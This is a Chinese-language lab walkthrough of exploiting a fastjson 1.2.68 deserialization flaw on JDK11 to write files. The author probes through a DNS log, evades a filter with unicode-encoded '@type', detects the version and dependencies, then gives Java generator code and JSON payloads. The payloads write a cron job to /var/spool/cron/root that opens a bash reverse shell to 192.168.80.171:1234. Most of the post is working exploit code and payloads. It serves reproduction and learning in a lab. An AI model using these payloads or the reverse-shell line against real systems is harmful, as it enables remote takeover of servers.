banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjson 1268 jkd11 寫入檔案

參考:https://github.com/lemono0/FastJsonPart

主打一個過程復現,理解漏洞利用流程,網上很多大佬的文章,文章寫得很好,但作為基礎學習還是不夠(特別是用 idea 編譯 java 文件,如何解決依賴等基礎問題,-__-|.),所以就把自己復現過程的流程寫下。

07-1268-jkd11-writefile#

抓包,刪除括號,判斷 fastjson 的版本

Pasted image 20250110152659

dnslog 探測 fastjson,發現被過濾了

Pasted image 20250110152818

@type 進行 unicode 編碼

{
  "\u0040\u0074\u0079\u0070\u0065": "java.net.InetSocketAddress" {
    "address": ,
    "val": "1bdmkeljntnmdy5h5nf3h571tszjn9by.oastify.com"
  }
}

Pasted image 20250110152949

接受到 dnslog 請求

Pasted image 20250110153021

探測版本

{
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"

Pasted image 20250110153123

探測依賴

{
"x": {
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "java.net.http.HttpClient"
	}
}

Pasted image 20250110153346

返回 can not cast to char 代表存在 java.net.http.HttpClient,即為 JDK11。

org.springframework.web.bind.annotation.RequestMapping 是 SpringBoot 特有的類,所以靶場環境是 SpringBoot 環境。

{
"x": {
  "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
	}
}

Pasted image 20250110153548

確定了使用的 JDK11,便可無限制寫入文件。採用寫入計劃任務反彈 shell。

生成 exp 文件,jdk11.java

import com.alibaba.fastjson.JSON;  
  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.util.Arrays;  
import java.util.Base64;  
import java.util.zip.Deflater;  
  
public class jdk11 {  
  
    public static String gzcompress(String code) {  
        byte[] data = code.getBytes();  
        byte[] output = new byte[0];  
        Deflater compresser = new Deflater();  
        compresser.reset();  
        compresser.setInput(data);  
        compresser.finish();  
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);  
        try {  
            byte[] buf = new byte[1024];  
            while (!compresser.finished()) {  
                int i = compresser.deflate(buf);  
                bos.write(buf, 0, i);  
            }  
            output = bos.toByteArray();  
        } catch (Exception e) {  
            output = data;  
            e.printStackTrace();  
        } finally {  
            try {  
                bos.close();  
            } catch (IOException e) {  
                e.printStackTrace();  
            }  
        }  
        compresser.end();  
        System.out.println(Arrays.toString(output));  
        return Base64.getEncoder().encodeToString(output);  
    }  
  
    public static void main(String[] args) throws Exception {  
        String code = gzcompress("* * * * *  bash -i >& /dev/tcp/192.168.80.171/1234 0>&1 \n");  
        //<=1.2.68 and JDK11  
        String payload = "{\r\n"  
                + "    \"@type\":\"java.lang.AutoCloseable\",\r\n"  
                + "    \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"  
                + "    \"out\":\r\n"  
                + "    {\r\n"  
                + "        \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"  
                + "        \"out\":\r\n"  
                + "        {\r\n"  
                + "           \"@type\":\"java.io.FileOutputStream\",\r\n"  
                + "           \"file\":\"/var/spool/cron/root\",\r\n"  
                + "           \"append\":false\r\n"  
                + "        },\r\n"  
                + "        \"infl\":\r\n"  
                + "        {\r\n"  
                + "            \"input\":\r\n"  
                + "            {\r\n"  
                + "                \"array\":\"" + code + "\",\r\n"  
                + "                \"limit\":1999\r\n"  
                + "            }\r\n"  
                + "        },\r\n"  
                + "        \"bufLen\":1048576\r\n"  
                + "    },\r\n"  
                + "    \"protocolVersion\":1\r\n"  
                + "}\r\n"  
                + "";  
  
        System.out.println(payload);  
        JSON.parseObject(payload);  
    }  
}

生成 payload

Pasted image 20250110160412

注意:

在寫入計劃任務時,有幾個需要注意的點:

  • linux 本身系統限制,首先 centos 和 ubuntu 系列是不同的,寫入文件位置、命令方式均有區別,這裡因為是 centos 系統,所以寫入到 /var/spool/cron/root 文件下,而 ubuntu 系統則應該寫入到 /etc/crontab 系統級計劃任務下,而不是 /var/spool/cron/crontabs/root 文件下,因為該方式將會涉及到改權限、計劃任務服務重啟的操作。

  • 通過這種文件寫入漏洞寫入計劃任務時,需要在命令的後面加上換行操作,保證該命令為完整的一行,否則不會反彈成功。

{
    "\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
    "\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
           "file":"/var/spool/cron/root",
           "append":false
        },
        "infl":
        {
            "input":
            {
                "array":"eJzTUtCCQoWkxOIMBd1MBTs1Bf2U1DL9kuQCfUNLIz1DMws9CwM9Q3NDfUMjYxMFAzs1QwUuAHKnDGw=",
                "limit":1999
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

Pasted image 20250110160150

需要在 limit 處寫入文件內真實數據的長度,這個長度會因為一些處理導致並不是我們寫入計劃任務命令的長度,這裡方法同樣是利用到報錯,先將 limit 值儘量設置較大,fastjson 會因為偏移位置不對爆出正確的數據偏移,即這裡的 59,所以 59 才是真實的數據長度。

{
    "\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
    "\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
           "file":"/var/spool/cron/root",
           "append":false
        },
        "infl":
        {
            "input":
            {
                "array":"H4sIAAAAAAAAANNS0IJChaTE4gwF3UwFOzUF/ZTUMv2S5AJ9Q0sjPUMzCz0LAz1Dc0N9QyNjEwUDOzVDBS4AGWjIeTkAAAA=",
                "limit":59
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

Pasted image 20250110160237

反彈會 shell

Pasted image 20250110160547

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。